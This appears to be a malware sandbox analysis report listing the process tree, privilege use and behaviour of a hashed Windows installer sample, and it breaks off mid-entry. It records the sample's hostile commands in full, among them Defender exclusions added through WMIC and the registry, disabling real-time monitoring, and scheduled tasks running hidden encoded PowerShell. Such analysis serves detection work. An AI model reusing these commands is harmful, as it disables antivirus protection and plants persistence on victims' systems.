3008	powershell.EXE
3008	powershell.EXE
3008	powershell.EXE
1928	powershell.EXE
1928	powershell.EXE
1928	powershell.EXE
2516	powershell.exe
2248	powershell.EXE
2248	powershell.EXE
2248	powershell.EXE
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
1528	powershell.exe
2036	powershell.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe
2860	pyChMtj.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

Processes:

powershell.exeWMIC.exepowershell.EXEpowershell.EXEpowershell.exeWMIC.exepowershell.EXEpowershell.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeIncreaseQuotaPrivilege	3028	WMIC.exe
Token: SeSecurityPrivilege	3028	WMIC.exe
Token: SeTakeOwnershipPrivilege	3028	WMIC.exe
Token: SeLoadDriverPrivilege	3028	WMIC.exe
Token: SeSystemProfilePrivilege	3028	WMIC.exe
Token: SeSystemtimePrivilege	3028	WMIC.exe
Token: SeProfSingleProcessPrivilege	3028	WMIC.exe
Token: SeIncBasePriorityPrivilege	3028	WMIC.exe
Token: SeCreatePagefilePrivilege	3028	WMIC.exe
Token: SeBackupPrivilege	3028	WMIC.exe
Token: SeRestorePrivilege	3028	WMIC.exe
Token: SeShutdownPrivilege	3028	WMIC.exe
Token: SeDebugPrivilege	3028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3028	WMIC.exe
Token: SeRemoteShutdownPrivilege	3028	WMIC.exe
Token: SeUndockPrivilege	3028	WMIC.exe
Token: SeManageVolumePrivilege	3028	WMIC.exe
Token: 33	3028	WMIC.exe
Token: 34	3028	WMIC.exe
Token: 35	3028	WMIC.exe
Token: SeDebugPrivilege	3008	powershell.EXE
Token: SeDebugPrivilege	1928	powershell.EXE
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2652	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2652	WMIC.exe
Token: SeSecurityPrivilege	2652	WMIC.exe
Token: SeTakeOwnershipPrivilege	2652	WMIC.exe
Token: SeLoadDriverPrivilege	2652	WMIC.exe
Token: SeSystemtimePrivilege	2652	WMIC.exe
Token: SeBackupPrivilege	2652	WMIC.exe
Token: SeRestorePrivilege	2652	WMIC.exe
Token: SeShutdownPrivilege	2652	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2652	WMIC.exe
Token: SeUndockPrivilege	2652	WMIC.exe
Token: SeManageVolumePrivilege	2652	WMIC.exe
Token: SeDebugPrivilege	2248	powershell.EXE
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2888	WMIC.exe
Token: SeSecurityPrivilege	2888	WMIC.exe
Token: SeTakeOwnershipPrivilege	2888	WMIC.exe
Token: SeLoadDriverPrivilege	2888	WMIC.exe
Token: SeSystemtimePrivilege	2888	WMIC.exe
Token: SeBackupPrivilege	2888	WMIC.exe
Token: SeRestorePrivilege	2888	WMIC.exe
Token: SeShutdownPrivilege	2888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2888	WMIC.exe
Token: SeUndockPrivilege	2888	WMIC.exe
Token: SeManageVolumePrivilege	2888	WMIC.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2976	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2976	WMIC.exe
Token: SeSecurityPrivilege	2976	WMIC.exe
Token: SeTakeOwnershipPrivilege	2976	WMIC.exe
Token: SeLoadDriverPrivilege	2976	WMIC.exe
Token: SeSystemtimePrivilege	2976	WMIC.exe
Token: SeBackupPrivilege	2976	WMIC.exe
Token: SeRestorePrivilege	2976	WMIC.exe
Token: SeShutdownPrivilege	2976	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2976	WMIC.exe
Token: SeUndockPrivilege	2976	WMIC.exe
Token: SeManageVolumePrivilege	2976	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exetaskeng.exeivwuiKv.exetaskeng.exe

description	pid	process	target process
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 1636 wrote to memory of 2832	1636	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2832 wrote to memory of 2660	2832	Install.exe	Install.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 2660 wrote to memory of 3068	2660	Install.exe	forfiles.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 3068 wrote to memory of 2676	3068	forfiles.exe	cmd.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2676 wrote to memory of 2556	2676	cmd.exe	powershell.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2556 wrote to memory of 3028	2556	powershell.exe	WMIC.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 2660 wrote to memory of 1848	2660	Install.exe	schtasks.exe
PID 1164 wrote to memory of 2912	1164	taskeng.exe	ivwuiKv.exe
PID 1164 wrote to memory of 2912	1164	taskeng.exe	ivwuiKv.exe
PID 1164 wrote to memory of 2912	1164	taskeng.exe	ivwuiKv.exe
PID 1164 wrote to memory of 2912	1164	taskeng.exe	ivwuiKv.exe
PID 2912 wrote to memory of 2088	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 2088	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 2088	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 2088	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 1940	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 1940	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 1940	2912	ivwuiKv.exe	schtasks.exe
PID 2912 wrote to memory of 1940	2912	ivwuiKv.exe	schtasks.exe
PID 1824 wrote to memory of 3008	1824	taskeng.exe	powershell.EXE
PID 1824 wrote to memory of 3008	1824	taskeng.exe	powershell.EXE
PID 1824 wrote to memory of 3008	1824	taskeng.exe	powershell.EXE

C:\Users\Admin\AppData\Local\Temp\bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe
"C:\Users\Admin\AppData\Local\Temp\bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1636

C:\Users\Admin\AppData\Local\Temp\7zS17F4.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2832

C:\Users\Admin\AppData\Local\Temp\7zS19A8.tmp\Install.exe
.\Install.exe /qwdidsn "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:2676

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bUVDAOPnPkUhchiViu" /SC once /ST 05:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\ivwuiKv.exe\" q7 /lgudidUL 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 520
4⤵
- Loads dropped DLL
- Program crash
PID:2408

C:\Windows\system32\taskeng.exe
taskeng.exe {74D789D7-896A-4A38-8439-94EA77D011B0} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:1164

C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\ivwuiKv.exe
C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\ivwuiKv.exe q7 /lgudidUL 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2912

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gGwoRchzI" /SC once /ST 01:46:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2088

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gGwoRchzI"
3⤵
PID:1940

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gGwoRchzI"
3⤵
PID:900

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1212

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:768

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:952

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:2148

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gjfXCNXwc" /SC once /ST 00:13:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:236

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gjfXCNXwc"
3⤵
PID:680

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gjfXCNXwc"
3⤵
PID:2604

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:1908

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:2792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2652

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3040

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3032

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3028

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2512

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3036

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2464

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1188

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2004

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\WZpWNMsDzSAcKsSA\QwckKSdo\QbDpVplGXUoBWCma.wsf"
3⤵
PID:1440

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\WZpWNMsDzSAcKsSA\QwckKSdo\QbDpVplGXUoBWCma.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2404

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2152

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2204

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2888

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2408

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:444

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1080

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1708

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1264

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:32
4⤵
PID:300

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1456

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1876

C:\Windows\SysWOW64\schtasks.exe
